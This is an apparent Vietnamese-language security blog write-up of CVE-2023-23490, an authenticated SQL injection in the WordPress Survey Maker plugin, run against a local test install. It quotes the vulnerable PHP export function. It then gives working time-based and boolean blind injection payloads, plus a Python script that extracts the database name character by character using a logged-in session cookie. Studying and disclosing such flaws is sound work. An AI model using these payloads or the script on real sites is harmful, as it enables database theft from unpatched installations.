Wordpress CVE_2023_23490 Authenticated SQL Injection tại plugin Survey Maker

Wordpress CVE_2023_23490 Authenticated SQL Injection tại plugin Survey Maker

·

4 min read

  • Lỗ hổng Authenticated SQL Injection tại plugin Survey Maker
Survey Maker: CVE-2023-23490 - Authenticated SQL Injection
Reference: https://wordpress.org/plugins/survey-maker
Affected Versions: < 3.1.2
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 8.8
  • Plugin không escape tham số 'surveys_ids' tại hành động 'ays_surveys_export_json' khi đưa vào câu truy vấn SQL.

  • Lỗ hổng yêu cầu cần được xác thực nhưng không cần phải là quản trị viên, những ai có chức năng 'subscriber' đều thực hiện được.

Setup

  • Wordpress 6.1.1

  • Plugin Survey Maker 3.0.9

Phân tích.

  • Tại hành động ays_surveys_export_json ta có thể thấy hầu hết các câu truy vấn SQL đều được nối chuỗi và được kiểm soát từ bên ngoài.
public function ays_surveys_export_json() {
        global $wpdb;

        $surveys_ids = isset($_REQUEST['surveys_ids']) ? array_map( 'sanitize_text_field', $_REQUEST['surveys_ids'] ) : array();
        $surveys_table = $wpdb->prefix . SURVEY_MAKER_DB_PREFIX . 'surveys';
        $survey_category_table = $wpdb->prefix. SURVEY_MAKER_DB_PREFIX . "survey_categories";
        $questions_table = $wpdb->prefix . SURVEY_MAKER_DB_PREFIX. 'questions';
        $questions_category_table = $wpdb->prefix . SURVEY_MAKER_DB_PREFIX . 'question_categories';
        $answers_table = $wpdb->prefix . SURVEY_MAKER_DB_PREFIX . 'answers';
        $sections_table = $wpdb->prefix . SURVEY_MAKER_DB_PREFIX . 'sections';
        if(empty($surveys_ids)){
            $where = '';
        }else{
            $where = " WHERE id IN (". implode(',', $surveys_ids) .") ";
        }
        $sql_survey_categories = "SELECT * FROM ".$survey_category_table;
        $survey_categories = $wpdb->get_results($sql_survey_categories, 'ARRAY_A');
        $survey_all_categories = array();
        foreach ($survey_categories as $survey_categories_key) {
            $survey_all_categories[$survey_categories_key['id']] = $survey_categories_key['title'];
        }
        $sql_surveys = "SELECT * FROM ".$surveys_table.$where;
        $surveys = $wpdb->get_results($sql_surveys, 'ARRAY_A');
        $data = array();
        $data['ays_survey_key'] = 1;
        $data['surveys'] = array();
        foreach ($surveys as $survey_key => &$survey) {
            $questions_id = trim($survey['question_ids'], ',');
            $survey_cat_ids = explode(',' , $surveys[$survey_key]['category_ids']);
            foreach ($survey_cat_ids as $survey_cat_key) {
                $surveys[$survey_key]['survey_categories'][$survey_cat_key] = $survey_all_categories[$survey_cat_key];
            }
            unset($survey['id']);
            unset($survey['category_ids']);
            if(empty($questions_id)){
                $survey["questions"] = array();
            }else{
                $sql_sections = "SELECT id,title,ordering FROM ".$sections_table." WHERE id IN (". esc_sql( $survey['section_ids'] ) .")";
                $sections = $wpdb->get_results($sql_sections, 'ARRAY_A');
                $sql_question_cat = "SELECT * FROM ".$questions_category_table;
                $questions_categories = $wpdb->get_results($sql_question_cat, 'ARRAY_A');
                $categories = array();
                foreach ($questions_categories as $question_key) {
                    $categories[$question_key['id']] = $question_key['title'];
                }
                $sql_questions = "SELECT * FROM ".$questions_table." WHERE id IN (". esc_sql( $questions_id ) .")" ;
                $all_questions = $wpdb->get_results($sql_questions, 'ARRAY_A');
                $cat_ids = '';
                foreach ($all_questions as $key => &$question) {
                    $all_questions[$key]['answers'] = $this->get_question_answers($question['id']);
                    $cat_ids = explode(',' , $all_questions[$key]['category_ids']);
                    foreach ($cat_ids as $cat_key) {
                        $all_questions[$key]['question_categories'][$cat_key] = $categories[$cat_key];
                    }
                }
            }
            $survey['sections'] = $sections;
            $survey['questions'] = $all_questions;
        }        
            $data['surveys'] = $surveys;

        $response = array(
            'status' => true,
            'data'   => $data,
            'title'  => 'surveys-export',
        );
        echo json_encode($response);
        wp_die();
    }
  • Đặt breakpoint tại

Screenshot 2023-01-21 145827

  • Biến global $wpdb được dùng để thực hiện các câu truy vấn trong wordpress nên dòng tiếp theo sẽ là thực thi câu truy vấn.

  • Thực hiện với hành động

http://localhost/wordpress-6.1.1-vi/wordpress/wp-admin/admin-ajax.php?action=ays_surveys_export_json&surveys_ids[0]=1

Screenshot 2023-01-21 150332

  • Khi đó câu SQL được thiết lập sẽ là
$sql_surveys = "SELECT * FROM wp_ayssurvey_surveys WHERE id IN (1)"
  • Có thể thấy ta hoàn toàn kiểm soát được giá trị của $surveys_ids vì không ép kiểu nguyên và $sql_surveys sẽ được nối chuỗi với $where thông qua
$surveys_ids = isset($_REQUEST['surveys_ids']) ? array_map( 'sanitize_text_field', $_REQUEST['surveys_ids'] ) : array();
...
if(empty($surveys_ids)){
    $where = '';
}else{
    $where = " WHERE id IN (". implode(',', $surveys_ids) .") ";
}

Khai thác

  • Payload:
http://localhost/wordpress-6.1.1-vi/wordpress/wp-admin/admin-ajax.php?action=ays_surveys_export_json&surveys_ids[0]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(3)))a)--+-
  • Khi đó câu truy vấn sẽ là:

    Screenshot 2023-01-21 150956

Tham khảo

  • Có thể khai thác qua sqlmap nhưng để nâng cao trình độ thì tấn công qua blind sql như sau.

  • Kiểm tra độ dài và tên database (Ở đây dùng MySQL và tên DB là 'wordpress')

  • Payload:

- /admin-ajax.php?action=ays_surveys_export_json&surveys_ids[0]=1)+and+length(select+database())=9%23
- /admin-ajax.php?action=ays_surveys_export_json&surveys_ids[0]=1)+and+(substring((select+database()),1,1)=CHAR(119))%23
  • Sau đó kiểm tra lần lượt từng cột và nội dung một nhưng mà dùng sqlmap cho nhanh.

  • Kết quả

    Screenshot 2023-01-21 151736

Code tham khảo
  • Đoạn code tham khảo check DB name hay column và rows.
import sys, requests, urllib.parse, string

# query = sys.argv[1]
query = "database()"
lent = 10
url = 'http://localhost:80/wordpress-6.1.1-vi/wordpress/wp-admin/admin-ajax.php?action=ays_surveys_export_json&surveys_ids[0]=1'
headers = {
    'Cookie': 'wordpress_826614356389d062a546b55d74431192=luk6785%7C1674449032%7CR6aa2TdnC97Dnj9sWvxf7HaZ2SR4ahAlArx3kajk2WR%7Cc5deb082acb4d6af201d4674ff456217dff0f346ff65c7fe01483bfdd0a5c049; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_826614356389d062a546b55d74431192=luk6785%7C1674449032%7CR6aa2TdnC97Dnj9sWvxf7HaZ2SR4ahAlArx3kajk2WR%7Ca1311197b950614b90160060ecf4996356793fa458592f778020435920deee90; wp-settings-time-1=1674276234'
}

def get(query=''):
    global len, url, headers
    result = ''
    for i in range(1,lent+1):
        for c in range(34,120):
            try:
                payload = ")+and+substring((select+%s),%d,1)=CHAR(%d)%%23"%(query, i, c)
                print(url+payload)
                resp = requests.get(url+payload, headers=headers)
                if len(resp.text) != 81:
                    print("Found: %s"%chr(c))
                    result += chr(c)
                    break
            except:
                print("An exception occurred")
    return result

print(get(query))

Bản 3.1.2

  • Hiện tại phiên bản 3.1.2 đã xoá chức năng ays_surveys_export_json nên có thể update lên lí do vì sao xoá hay update thì sẽ nghiên cứu tiếp.

    Screenshot 2023-01-21 153119